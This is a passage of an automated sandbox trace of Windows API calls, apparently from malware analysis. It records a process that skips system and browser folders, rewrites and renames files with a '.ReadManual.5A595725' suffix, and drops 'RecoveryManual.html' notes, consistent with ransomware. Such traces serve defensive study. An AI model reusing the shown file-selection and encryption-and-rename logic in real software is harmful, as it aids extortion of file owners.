lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=34404977662) returned 1 [0223.381] CloseHandle (hObject=0x194) returned 1 [0223.381] SetSecurityInfo () returned 0x57 [0223.381] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0223.381] CloseHandle (hObject=0x190) returned 1 [0223.383] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0223.384] lstrcpyW (in: lpString1=0x6ab922, lpString2="PrjPrrWW.cab" | out: lpString1="PrjPrrWW.cab") returned="PrjPrrWW.cab" [0223.384] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="RecoveryManual.html") returned -1 [0223.384] StrStrIW (lpFirst="PrjPrrWW.cab", lpSrch=".ReadManual.5A595725") returned 0x0 [0223.384] StrCmpIW (psz1="cab", psz2="exe") returned -1 [0223.384] StrCmpIW (psz1="cab", psz2="dll") returned -1 [0223.384] StrCmpIW (psz1="cab", psz2="sys") returned -1 [0223.384] StrCmpIW (psz1="cab", psz2="msi") returned -1 [0223.384] StrCmpIW (psz1="cab", psz2="mui") returned -1 [0223.384] StrCmpIW (psz1="cab", psz2="inf") returned -1 [0223.384] StrCmpIW (psz1="cab", psz2="cat") returned -1 [0223.384] StrCmpIW (psz1="cab", psz2="bat") returned 1 [0223.384] StrCmpIW (psz1="cab", psz2="cmd") returned -1 [0223.384] StrCmpIW (psz1="cab", psz2="ps1") returned -1 [0223.384] StrCmpIW (psz1="cab", psz2="vbs") returned -1 [0223.384] StrCmpIW (psz1="cab", psz2="ttf") returned -1 [0223.384] StrCmpIW (psz1="cab", psz2="fon") returned -1 [0223.384] StrCmpIW (psz1="cab", psz2="lnk") returned -1 [0223.384] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" [0223.384] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.ReadManual.5A595725" [0223.384] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.ReadManual.5A595725") returned 99 [0223.384] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=34405295526) returned 1 [0223.384] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab")) returned 0x2020 [0223.385] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0223.385] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=162970271) returned 1 [0223.385] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9b6ba9f, lpName=0x0) returned 0x194 [0223.385] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0223.386] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.386] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0223.391] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0223.391] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4000000) returned 0x6ed0000 [0226.262] UnmapViewOfFile (lpBaseAddress=0x6ed0000) returned 1 [0226.402] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x4000000, dwNumberOfBytesToMap=0x4000000) returned 0x6ed0000 [0228.925] UnmapViewOfFile (lpBaseAddress=0x6ed0000) returned 1 [0229.068] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x8000000, dwNumberOfBytesToMap=0x1b6ba9f) returned 0x4350000 [0231.375] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0231.437] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=35210605044) returned 1 [0231.437] CloseHandle (hObject=0x194) returned 1 [0231.437] SetSecurityInfo () returned 0x57 [0231.438] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0231.438] CloseHandle (hObject=0x190) returned 1 [0231.439] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0231.439] lstrcpyW (in: lpString1=0x6ab922, lpString2="setup.exe" | out: lpString1="setup.exe") returned="setup.exe" [0231.439] lstrcmpiW (lpString1="setup.exe", lpString2="RecoveryManual.html") returned 1 [0231.440] StrStrIW (lpFirst="setup.exe", lpSrch=".ReadManual.5A595725") returned 0x0 [0231.440] StrCmpIW (psz1="exe", psz2="exe") returned 0 [0231.440] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0231.440] lstrcpyW (in: lpString1=0x6ab922, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0231.440] lstrcmpiW (lpString1="Setup.xml", lpString2="RecoveryManual.html") returned 1 [0231.440] StrStrIW (lpFirst="Setup.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0231.440] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0231.440] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0231.440] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0231.440] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0231.440] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0231.440] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0231.440] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0231.440] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0231.440] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0231.440] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0231.440] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0231.440] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0231.440] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0231.440] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0231.440] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" [0231.440] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725" [0231.440] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned 96 [0231.440] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=35210895301) returned 1 [0231.440] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0231.442] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0231.443] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=16683) returned 1 [0231.443] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x412b, lpName=0x0) returned 0x194 [0231.443] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0231.444] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.444] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0231.446] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0231.446] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x412b) returned 0x2f0000 [0231.447] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0231.447] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=35211569445) returned 1 [0231.447] CloseHandle (hObject=0x194) returned 1 [0231.447] SetSecurityInfo () returned 0x57 [0231.448] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0231.448] CloseHandle (hObject=0x190) returned 1 [0231.448] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0231.448] FindClose (in: hFindFile=0x663238 | out: hFindFile=0x663238) returned 1 [0231.448] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 1 [0231.448] lstrcpyW (in: lpString1=0x69b8d0, lpString2="{91140000-0057-0000-1000-0000000FF1CE}-C" | out: lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C") returned="{91140000-0057-0000-1000-0000000FF1CE}-C" [0231.448] lstrcatW (in: lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="{91140000-0057-0000-1000-0000000FF1CE}-C\\" [0231.448] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows\\") returned 0x0 [0231.448] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0231.449] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0231.449] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0231.449] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\WINNT") returned 0x0 [0231.449] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0231.449] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows.old\\") returned 0x0 [0231.449] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\PerfLog\\") returned 0x0 [0231.449] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpSrch="\\WindowsApps\\") returned 0x0 [0231.449] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0231.449] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0231.449] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0231.449] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0231.449] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0231.449] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0231.449] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0231.449] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Windows Defender\\") returned 0x0 [0231.449] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpSrch="\\microsoft shared\\") returned 0x0 [0231.449] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0231.449] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0231.449] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0231.449] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0231.449] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0231.449] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Tor Browser\\") returned 0x0 [0231.449] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0231.449] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned 67 [0231.449] FindFirstFileW (in: lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x663238 [0231.452] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" [0231.452] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.452] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0231.452] lstrcpyW (in: lpString1=0x6ab922, lpString2="Office32WW.msi" | out: lpString1="Office32WW.msi") returned="Office32WW.msi" [0231.452] lstrcmpiW (lpString1="Office32WW.msi", lpString2="RecoveryManual.html") returned -1 [0231.452] StrStrIW (lpFirst="Office32WW.msi", lpSrch=".ReadManual.5A595725") returned 0x0 [0231.452] StrCmpIW (psz1="msi", psz2="exe") returned 1 [0231.452] StrCmpIW (psz1="msi", psz2="dll") returned 1 [0231.452] StrCmpIW (psz1="msi", psz2="sys") returned -1 [0231.452] StrCmpIW (psz1="msi", psz2="msi") returned 0 [0231.452] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" [0231.452] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\RecoveryManual.html") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\RecoveryManual.html" [0231.452] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\RecoveryManual.html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0231.453] WriteFile (in: hFile=0x190, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe38, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe38*=0xae9, lpOverlapped=0x0) returned 1 [0231.454] CloseHandle (hObject=0x190) returned 1 [0231.454] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0231.455] lstrcpyW (in: lpString1=0x6ab922, lpString2="Office32WW.xml" | out: lpString1="Office32WW.xml") returned="Office32WW.xml" [0231.455] lstrcmpiW (lpString1="Office32WW.xml", lpString2="RecoveryManual.html") returned -1 [0231.455] StrStrIW (lpFirst="Office32WW.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0231.455] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0231.455] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0231.455] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0231.455] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0231.455] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0231.455] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0231.455] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0231.455] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0231.455] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0231.455] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0231.455] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0231.455] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0231.455] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0231.455] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0231.455] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" [0231.455] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.ReadManual.5A595725" [0231.455] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.ReadManual.5A595725") returned 101 [0231.455] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=35212387230) returned 1 [0231.455] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0231.455] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0231.456] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=4274) returned 1 [0231.456] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10b2, lpName=0x0) returned 0x194 [0231.456] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0231.456] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.456] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0231.458] WriteFile (in: 